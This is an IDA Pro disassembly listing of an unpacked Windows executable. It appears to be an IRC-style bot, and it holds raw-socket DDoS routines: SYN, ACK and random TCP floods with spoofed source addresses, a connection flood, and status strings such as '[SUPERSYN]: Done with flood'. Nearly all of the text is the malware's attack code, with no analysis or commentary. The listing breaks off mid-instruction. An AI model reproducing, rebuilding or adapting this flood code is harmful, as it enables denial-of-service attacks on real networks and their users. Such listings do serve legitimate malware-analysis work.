; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 36590F29D26208E976236AD458A4E6D5 ; File Name : u:\work\36590f29d26208e976236ad458a4e6d5_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 0008C000 ( 573440.) ; Section size in file : 0008C000 ( 573440.) ; Offset to raw data for section: 00001000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute ___ segment para public 'CODE' use32 assume cs:___ ;org 401000h assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; DATA XREF: sub_40EE72+3A17o var_494 = byte ptr -494h var_294 = dword ptr -294h var_290 = dword ptr -290h var_28C = byte ptr -28Ch var_20C = byte ptr -20Ch var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_8C = byte ptr -8Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 494h mov eax, [ebp+arg_0] push esi push edi mov ecx, 0A5h mov esi, eax lea edi, [ebp+var_294] rep movsd mov dword ptr [eax+290h], 1 nop call near ptr 2600000h push eax call sub_417302 lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_20C] push eax lea eax, [ebp+var_28C] push eax call sub_4013EC add esp, 14h push eax lea eax, [ebp+var_494] push offset unk_426050 push eax call sub_4172B0 xor esi, esi add esp, 0Ch cmp [ebp+var_8], esi jnz short loc_401093 push esi lea eax, [ebp+var_494] push [ebp+var_C] push eax lea eax, [ebp+var_10C] push eax push [ebp+var_294] call sub_40D679 add esp, 14h loc_401093: ; CODE XREF: sub_401000+71j lea eax, [ebp+var_494] push eax call sub_40BF6D push [ebp+var_290] call sub_417078 pop ecx pop ecx push esi nop call near ptr 25F0973h pop edi pop esi sub_401000 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4010B5 proc near ; CODE XREF: sub_4013EC+40p var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = word ptr -58h var_56 = word ptr -56h var_54 = dword ptr -54h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_32 = word ptr -32h var_30 = word ptr -30h var_2E = word ptr -2Eh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_2A = word ptr -2Ah var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_43F5E0 test eax, eax jz short loc_4010F5 xor eax, eax jmp loc_4013E8 ; --------------------------------------------------------------------------- loc_4010F5: ; CODE XREF: sub_4010B5+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_43F70C cmp eax, 0FFFFFFFFh mov [ebp+var_20], eax jz loc_4013E0 push esi lea ecx, [ebp+var_40] push 4 push ecx push 2 push ebx push eax mov [ebp+var_40], edi call dword_43F648 cmp eax, 0FFFFFFFFh jz loc_4013D6 push [ebp+arg_C] mov [ebp+var_58], 2 call dword_43F668 mov esi, [ebp+arg_0] push 28h mov [ebp+var_56], ax mov [ebp+var_54], esi mov [ebp+var_34], 45h call dword_43F668 push [ebp+arg_C] mov [ebp+var_32], ax mov [ebp+var_30], di mov [ebp+var_2E], bx mov [ebp+var_2C], 80h mov [ebp+var_2B], 6 mov [ebp+var_2A], bx mov [ebp+var_24], esi call dword_43F668 mov [ebp+var_12], ax call sub_41730C movzx eax, ax cdq mov ecx, 401h idiv ecx push edx call dword_43F668 push 12345678h mov [ebp+var_14], ax call dword_43F664 push offset aDdos_syn ; "ddos.syn" mov [ebp+var_10], eax push [ebp+arg_8] call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4011C5 mov [ebp+var_C], ebx mov [ebp+var_7], 2 jmp short loc_401219 ; --------------------------------------------------------------------------- loc_4011C5: ; CODE XREF: sub_4010B5+105j push offset aDdos_ack ; "ddos.ack" push [ebp+arg_8] call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4011E1 mov [ebp+var_C], ebx mov [ebp+var_7], 10h jmp short loc_401219 ; --------------------------------------------------------------------------- loc_4011E1: ; CODE XREF: sub_4010B5+121j push offset aDdos_random ; "ddos.random" push [ebp+arg_8] call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_401219 call sub_41730C push 3 cdq pop ecx idiv ecx mov [ebp+var_C], edx call sub_41730C push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_7], dl loc_401219: ; CODE XREF: sub_4010B5+10Ej ; sub_4010B5+12Aj ... push 4000h mov [ebp+var_8], 50h call dword_43F668 mov [ebp+var_6], ax lea eax, [ebp+var_48] push eax mov [ebp+var_2], bx mov [ebp+arg_8], ebx nop call near ptr 26003C8h lea eax, [ebp+var_1C] push eax call near ptr 26000B8h nop push [ebp+var_44] mov eax, [ebp+arg_10] cdq push [ebp+var_48] push edx push eax call sub_417760 add eax, [ebp+var_1C] push 14h pop esi adc edx, [ebp+var_18] mov [ebp+var_3C], eax mov [ebp+var_38], edx loc_401267: ; CODE XREF: sub_4010B5+2E2j ; sub_4010B5+2F0j mov [ebp+var_4], bx call sub_41730C cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_43F668 mov [ebp+var_14], ax call sub_41730C mov edi, eax shl edi, 10h call sub_41730C or edi, eax push edi call dword_43F668 movzx eax, ax mov [ebp+var_10], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_43F664 mov [ebp+var_28], eax mov eax, [ebp+var_24] push esi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_43F668 mov [ebp+var_6E], ax mov eax, [ebp+var_28] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_417390 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_94] push eax call sub_417390 lea eax, [ebp+var_B4] push 34h push eax call sub_40AF39 mov [ebp+var_4], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_417390 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_A0] push eax call sub_417390 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_417330 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AF39 mov [ebp+var_2A], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_417390 add esp, 14h lea eax, [ebp+var_58] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_20] call dword_43F6CC cmp eax, 0FFFFFFFFh jz short loc_4013AA add [ebp+arg_8], eax lea eax, [ebp+var_1C] push eax call near ptr 26000B8h nop mov eax, [ebp+var_18] cmp eax, [ebp+var_38] jg short loc_4013D3 jl loc_401267 mov eax, [ebp+var_1C] cmp eax, [ebp+var_3C] jnb short loc_4013D3 jmp loc_401267 ; --------------------------------------------------------------------------- loc_4013AA: ; CODE XREF: sub_4010B5+2CBj call dword_43F5FC push eax lea eax, [ebp+var_F4] push offset unk_426088 push eax call sub_4172B0 lea eax, [ebp+var_F4] push eax call sub_40BF6D add esp, 10h jmp short loc_4013D6 ; --------------------------------------------------------------------------- loc_4013D3: ; CODE XREF: sub_4010B5+2E0j ; sub_4010B5+2EEj mov ebx, [ebp+arg_8] loc_4013D6: ; CODE XREF: sub_4010B5+78j ; sub_4010B5+31Cj push [ebp+var_20] call dword_43F700 pop esi loc_4013E0: ; CODE XREF: sub_4010B5+5Bj call dword_43F5C8 mov eax, ebx loc_4013E8: ; CODE XREF: sub_4010B5+3Bj pop edi pop ebx leave retn sub_4010B5 endp ; =============== S U B R O U T I N E ======================================= sub_4013EC proc near ; CODE XREF: sub_401000+4Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi push edi push [esp+0Ch+arg_0] call sub_40ADCA push [esp+10h+arg_4] mov esi, eax call sub_41781F push [esp+14h+arg_C] mov ebx, eax call sub_41781F mov edi, eax call sub_41730C cdq mov ecx, 200h push edi idiv ecx push ebx push [esp+20h+arg_8] lea eax, [edx+esi+100h] push eax push esi call sub_4010B5 add esp, 20h test eax, eax jnz short loc_40143B push 1 pop eax loc_40143B: ; CODE XREF: sub_4013EC+4Aj cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn sub_4013EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40144A proc near ; DATA XREF: sub_40EE72+3C05o var_3BC = byte ptr -3BCh var_1BC = dword ptr -1BCh var_1B8 = byte ptr -1B8h var_138 = byte ptr -138h var_B8 = byte ptr -0B8h var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3BCh push ebx push esi mov eax, [ebp+arg_0] push edi push 68h mov esi, eax pop ecx lea edi, [ebp+var_1BC] push 1 pop ebx push 0FFh push 3 rep movsd push 2 mov [eax+19Ch], ebx call dword_43F6E8 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_4014E5 call dword_43F5FC push eax lea eax, [ebp+var_3BC] loc_401493: ; DATA XREF: ___:off_4282ACo push offset unk_426214 push eax call sub_4172B0 xor edi, edi add esp, 0Ch cmp [ebp+var_24], edi jnz short loc_4014C8 push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_40D679 add esp, 14h loc_4014C8: ; CODE XREF: sub_40144A+5Cj lea eax, [ebp+var_3BC] push eax call sub_40BF6D push [ebp+var_38] call sub_417078 pop ecx pop ecx push edi nop call near ptr 25F0973h loc_4014E5: ; CODE XREF: sub_40144A+3Aj lea ecx, [ebp+var_C] push 4 push ecx xor edi, edi push 2 push edi push eax mov [ebp+var_C], ebx call dword_43F648 cmp eax, 0FFFFFFFFh jnz short loc_40155C call dword_43F5FC push eax lea eax, [ebp+var_3BC] push offset unk_4261CC push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_24], edi jnz short loc_40153F push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_40D679 add esp, 14h loc_40153F: ; CODE XREF: sub_40144A+D3j lea eax, [ebp+var_3BC] push eax call sub_40BF6D push [ebp+var_38] call sub_417078 pop ecx pop ecx push edi nop call near ptr 25F0973h loc_40155C: ; CODE XREF: sub_40144A+B3j lea eax, [ebp+var_1B8] push eax call dword_43F6A8 cmp eax, 0FFFFFFFFh jnz short loc_4015C3 lea eax, [ebp+var_3BC] push offset unk_42619C push eax call sub_4172B0 cmp [ebp+var_24], edi pop ecx pop ecx jnz short loc_4015A6 push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_40D679 add esp, 14h loc_4015A6: ; CODE XREF: sub_40144A+13Aj lea eax, [ebp+var_3BC] push eax call sub_40BF6D push [ebp+var_38] call sub_417078 pop ecx pop ecx push edi nop call near ptr 25F0973h loc_4015C3: ; CODE XREF: sub_40144A+122j push 10h lea eax, [ebp+var_1C] push edi push eax call sub_417330 add esp, 0Ch mov [ebp+var_1C], 2 push edi call dword_43F668 mov [ebp+var_1A], ax lea eax, [ebp+var_1B8] push eax call dword_43F6A8 mov esi, dword_424058 mov [ebp+var_18], eax mov [ebp+arg_0], edi call esi mov [ebp+var_8], eax loc_401601: ; CODE XREF: sub_40144A+2E8j call esi sub eax, [ebp+var_8] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+var_30] ja loc_4017AC push 41Ch mov byte_43C3E8, 45h call dword_43F668 cmp [ebp+var_2C], edi mov word_43C3EA, ax mov word_43C3EC, bx mov word_43C3EE, di mov byte_43C3F0, 80h mov byte_43C3F1, bl mov word_43C3F2, di jz short loc_401687 call sub_41730C mov ebx, eax shl ebx, 8 call sub_41730C add ebx, eax shl ebx, 8 call sub_41730C add ebx, eax shl ebx, 8 call sub_41730C add ebx, eax push 1 mov dword_43C3F4, ebx pop ebx jmp short loc_40169F ; --------------------------------------------------------------------------- loc_401687: ; CODE XREF: sub_40144A+20Bj push [ebp+var_1BC] call sub_40AEE0 pop ecx push eax call dword_43F6A8 mov dword_43C3F4, eax loc_40169F: ; CODE XREF: sub_40144A+23Bj mov eax, [ebp+var_18] mov dword_43C3F8, eax call sub_41730C cdq mov ecx, 100h idiv ecx mov byte_43C3FC, dl call sub_41730C cdq mov ecx, 100h idiv ecx mov byte_43C3FD, dl call sub_41730C cdq mov ecx, 0F0h push 400h idiv ecx mov word_43C3FE, di mov word_43C402, bx inc edx mov word_43C400, dx call sub_41730C cdq mov ecx, 0FFh idiv ecx push edx push offset dword_43C404 call sub_417330 add esp, 0Ch lea eax, [ebp+var_1C] push 10h push eax push edi push 41Ch push offset byte_43C3E8 push [ebp+var_4] call dword_43F6CC cmp eax, 0FFFFFFFFh jz short loc_401737 inc [ebp+arg_0] jmp loc_401601 ; --------------------------------------------------------------------------- loc_401737: ; CODE XREF: sub_40144A+2E3j push [ebp+var_4] call dword_43F700 call dword_43F5FC push eax lea eax, [ebp+var_1B8] push [ebp+arg_0] push eax push offset unk_42613C lea eax, [ebp+var_3BC] push 200h push eax call sub_41782A add esp, 18h cmp [ebp+var_24], edi jnz short loc_40178F push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_40D679 add esp, 14h loc_40178F: ; CODE XREF: sub_40144A+323j lea eax, [ebp+var_3BC] push eax call sub_40BF6D push [ebp+var_38] call sub_417078 pop ecx pop ecx push edi nop call near ptr 25F0973h loc_4017AC: ; CODE XREF: sub_40144A+1C8j push [ebp+var_4] call dword_43F700 mov eax, [ebp+arg_0] xor edx, edx imul eax, 3Ch mov ecx, eax shr eax, 0Ah div [ebp+var_30] shr ecx, 14h push ecx push eax lea eax, [ebp+var_1B8] push [ebp+arg_0] push eax lea eax, [ebp+var_138] push eax lea eax, [ebp+var_3BC] push offset unk_4260DC push eax call sub_4172B0 add esp, 1Ch cmp [ebp+var_24], edi jnz short loc_401814 push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_40D679 add esp, 14h loc_401814: ; CODE XREF: sub_40144A+3A8j lea eax, [ebp+var_3BC] push eax call sub_40BF6D push [ebp+var_38] call sub_417078 pop ecx pop ecx push edi nop call near ptr 25F0973h sub_40144A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401831 proc near ; DATA XREF: sub_40EE72+159Do var_414 = byte ptr -414h var_214 = dword ptr -214h var_210 = byte ptr -210h var_190 = byte ptr -190h var_110 = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov eax, [ebp+arg_0] push esi push edi mov ecx, 85h mov esi, eax lea edi, [ebp+var_214] rep movsd mov dword ptr [eax+210h], 1 lea eax, [ebp+var_110] push eax lea eax, [ebp+var_190] push eax lea eax, [ebp+var_210] push eax call sub_401992 add esp, 0Ch push eax lea eax, [ebp+var_414] push offset aSupersynDoneWi ; "[SUPERSYN]: Done with flood (%iKB/sec)" push eax call sub_4172B0 xor esi, esi add esp, 0Ch cmp [ebp+var_8], esi jnz short loc_4018B1 push esi lea eax, [ebp+var_414] push [ebp+var_C] push eax lea eax, [ebp+var_90] push eax push [ebp+var_214] call sub_40D679 add esp, 14h loc_4018B1: ; CODE XREF: sub_401831+5Ej lea eax, [ebp+var_414] push eax call sub_40BF6D push [ebp+var_10] call sub_417078 pop ecx pop ecx push esi call near ptr 25F0973h nop pop edi pop esi sub_401831 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4018D0 proc near ; CODE XREF: sub_401992+27p var_654 = byte ptr -654h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 654h push 10h lea eax, [ebp+var_14] push 0 push eax call sub_417330 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+arg_4] call dword_43F668 mov [ebp+var_12], ax mov eax, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_8] test eax, eax mov [ebp+var_4], 1 jle short loc_40198E push ebx push esi push edi mov [ebp+arg_4], eax mov edi, 190h loc_40191B: ; CODE XREF: sub_4018D0+B9j lea esi, [ebp+var_654] mov ebx, edi loc_401923: ; CODE XREF: sub_4018D0+7Aj push 0 push 1 push 2 nop call near ptr 71AB3C22h cmp eax, 0FFFFFFFFh mov [esi], eax jz short loc_401946 lea ecx, [ebp+var_4] push ecx push 8004667Eh push eax nop call near ptr 71AB155Ah loc_401946: ; CODE XREF: sub_4018D0+64j add esi, 4 dec ebx jnz short loc_401923 lea esi, [ebp+var_654] mov ebx, edi loc_401954: ; CODE XREF: sub_4018D0+96j lea eax, [ebp+var_14] push 10h push eax push dword ptr [esi] nop call near ptr 71AB3E5Dh add esi, 4 dec ebx jnz short loc_401954 push 64h call near ptr 2600833h nop lea esi, [ebp+var_654] mov ebx, edi loc_401978: ; CODE XREF: sub_4018D0+B4j push dword ptr [esi] call near ptr 71AB1A6Dh nop add esi, 4 dec ebx jnz short loc_401978 dec [ebp+arg_4] jnz short loc_40191B pop edi pop esi pop ebx loc_40198E: ; CODE XREF: sub_4018D0+3Ej xor eax, eax leave retn sub_4018D0 endp ; =============== S U B R O U T I N E ======================================= sub_401992 proc near ; CODE XREF: sub_401831+3Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi push edi push [esp+0Ch+arg_0] call sub_40ADCA push [esp+10h+arg_4] mov edi, eax call sub_41781F push [esp+14h+arg_8] mov ebx, eax call sub_41781F mov esi, eax push esi push ebx push edi call sub_4018D0 add esp, 18h test eax, eax jnz short loc_4019C8 push 1 pop eax loc_4019C8: ; CODE XREF: sub_401992+31j cdq mov ecx, 3E8h pop edi idiv ecx cdq idiv esi pop esi pop ebx retn sub_401992 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4019D7 proc near ; DATA XREF: sub_40EE72+3908o var_414 = byte ptr -414h var_214 = dword ptr -214h var_210 = byte ptr -210h var_190 = byte ptr -190h var_110 = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov eax, [ebp+arg_0] push esi push edi mov ecx, 85h mov esi, eax lea edi, [ebp+var_214] rep movsd mov dword ptr [eax+210h], 1 lea eax, [ebp+var_110] push eax lea eax, [ebp+var_190] push eax lea eax, [ebp+var_210] push eax call sub_401D28 add esp, 0Ch push eax lea eax, [ebp+var_414] push offset dword_426280 push eax call sub_4172B0 xor esi, esi add esp, 0Ch cmp [ebp+var_8], esi jnz short loc_401A57 push esi lea eax, [ebp+var_414] push [ebp+var_C] push eax lea eax, [ebp+var_90] push eax push [ebp+var_214] call sub_40D679 add esp, 14h loc_401A57: ; CODE XREF: sub_4019D7+5Ej lea eax, [ebp+var_414] push eax call sub_40BF6D push [ebp+var_10] call sub_417078 pop ecx pop ecx push esi nop call near ptr 25F0973h pop edi pop esi sub_4019D7 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401A76 proc near ; CODE XREF: sub_401D28+3Cp var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = dword ptr -58h var_50 = word ptr -50h var_4E = word ptr -4Eh var_4C = dword ptr -4Ch var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = word ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_27 = byte ptr -27h var_26 = word ptr -26h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = byte ptr -20h var_1E = word ptr -1Eh var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_43F5E0 test eax, eax jz short loc_401AB6 xor eax, eax jmp loc_401D24 ; --------------------------------------------------------------------------- loc_401AB6: ; CODE XREF: sub_401A76+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_43F70C cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jz loc_401D1C push esi lea ecx, [ebp+var_38] push 4 push ecx push 2 push ebx push eax mov [ebp+var_38], edi call dword_43F648 cmp eax, 0FFFFFFFFh jz loc_401D12 push 10h lea eax, [ebp+var_50] push ebx push eax call sub_417330 add esp, 0Ch mov [ebp+var_50], 2 push [ebp+arg_8] call dword_43F668 mov esi, [ebp+arg_0] push 28h mov [ebp+var_4E], ax mov [ebp+var_4C], esi mov [ebp+var_20], 45h call dword_43F668 push [ebp+arg_8] mov [ebp+var_1E], ax mov [ebp+var_1C], di mov [ebp+var_1A], bx mov [ebp+var_18], 80h mov [ebp+var_17], 6 mov [ebp+var_16], bx mov [ebp+var_10], esi call dword_43F668 push 4000h mov [ebp+var_32], ax mov [ebp+var_2C], ebx mov [ebp+var_28], 50h mov [ebp+var_27], 2 call dword_43F668 mov [ebp+var_26], ax lea eax, [ebp+var_40] push eax mov [ebp+var_22], bx mov [ebp+arg_8], ebx nop call near ptr 26003C8h lea eax, [ebp+var_8] push eax call near ptr 26000B8h nop push [ebp+var_3C] mov eax, [ebp+arg_C] cdq push [ebp+var_40] push edx push eax call sub_417760 add eax, [ebp+var_8] mov esi, edx adc esi, [ebp+var_4] mov [ebp+var_58], eax loc_401BA1: ; CODE XREF: sub_401A76+25Dj ; sub_401A76+26Bj mov [ebp+var_24], bx call sub_41730C cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_43F668 mov [ebp+var_34], ax call sub_41730C mov edi, eax shl edi, 10h call sub_41730C or edi, eax push edi call dword_43F668 movzx eax, ax mov [ebp+var_30], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_43F664 push 14h mov [ebp+var_14], eax mov eax, [ebp+var_10] pop edi push edi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_43F668 mov [ebp+var_6E], ax mov eax, [ebp+var_14] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_417390 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_94] push eax call sub_417390 lea eax, [ebp+var_B4] push 34h push eax call sub_40AF39 mov [ebp+var_24], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_417390 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_A0] push eax call sub_417390 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_417330 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AF39 mov [ebp+var_16], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_417390 add esp, 14h lea eax, [ebp+var_50] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_C] call dword_43F6CC cmp eax, 0FFFFFFFFh jz short loc_401CE6 add [ebp+arg_8], eax lea eax, [ebp+var_8] push eax call near ptr 26000B8h nop mov eax, [ebp+var_4] cmp eax, esi jg short loc_401D0F jl loc_401BA1 mov eax, [ebp+var_8] cmp eax, [ebp+var_58] jnb short loc_401D0F jmp loc_401BA1 ; --------------------------------------------------------------------------- loc_401CE6: ; CODE XREF: sub_401A76+247j call dword_43F5FC push eax lea eax, [ebp+var_F4] push offset dword_4262B8 push eax call sub_4172B0 lea eax, [ebp+var_F4] push eax call sub_40BF6D add esp, 10h jmp short loc_401D12 ; --------------------------------------------------------------------------- loc_401D0F: ; CODE XREF: sub_401A76+25Bj ; sub_401A76+269j mov ebx, [ebp+arg_8] loc_401D12: ; CODE XREF: sub_401A76+78j ; sub_401A76+297j push [ebp+var_C] call dword_43F700 pop esi loc_401D1C: ; CODE XREF: sub_401A76+5Bj call dword_43F5C8 mov eax, ebx loc_401D24: ; CODE XREF: sub_401A76+3Bj pop edi pop ebx leave retn sub_401A76 endp ; =============== S U B R O U T I N E ======================================= sub_401D28 proc near ; CODE XREF: sub_4019D7+3Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi push edi push [esp+0Ch+arg_0] call sub_40ADCA push [esp+10h+arg_4] mov esi, eax call sub_41781F push [esp+14h+arg_8] mov ebx, eax call sub_41781F mov edi, eax call sub_41730C cdq mov ecx, 200h push edi idiv ecx push ebx lea eax, [edx+esi+100h] push eax push esi call sub_401A76 add esp, 1Ch test eax, eax jnz short loc_401D73 push 1 pop eax loc_401D73: ; CODE XREF: sub_401D28+46j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn sub_401D28 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401D82 proc near ; DATA XREF: sub_40EE72+2D38o var_440 = byte ptr -440h var_240 = dword ptr -240h var_23C = byte ptr -23Ch var_1BC = byte ptr -1BCh var_13C = byte ptr -13Ch var_BC = dword ptr -0BCh var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A0 = byte ptr -0A0h var_9F = byte ptr -9Fh var_8C = byte ptr -8Ch var_80 = byte ptr -80h var_78 = byte ptr -78h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = byte ptr -5Ch var_5B = byte ptr -5Bh var_5A = word ptr -5Ah var_44 = word ptr -44h var_42 = word ptr -42h var_40 = dword ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_2A = word ptr -2Ah var_28 = word ptr -28h var_26 = word ptr -26h var_24 = byte ptr -24h var_23 = byte ptr -23h var_22 = word ptr -22h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_B = byte ptr -0Bh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 440h mov eax, [ebp+arg_0] push ebx push esi push edi push 68h mov esi, eax pop ecx lea edi, [ebp+var_240] rep movsd push 1 xor ebx, ebx pop esi lea edi, [ebp+var_9F] push 0Eh mov [eax+19Ch], esi pop ecx xor eax, eax mov [ebp+var_A0], bl rep stosd stosw stosb mov edi, dword_424058 call edi push eax call sub_417302 pop ecx push 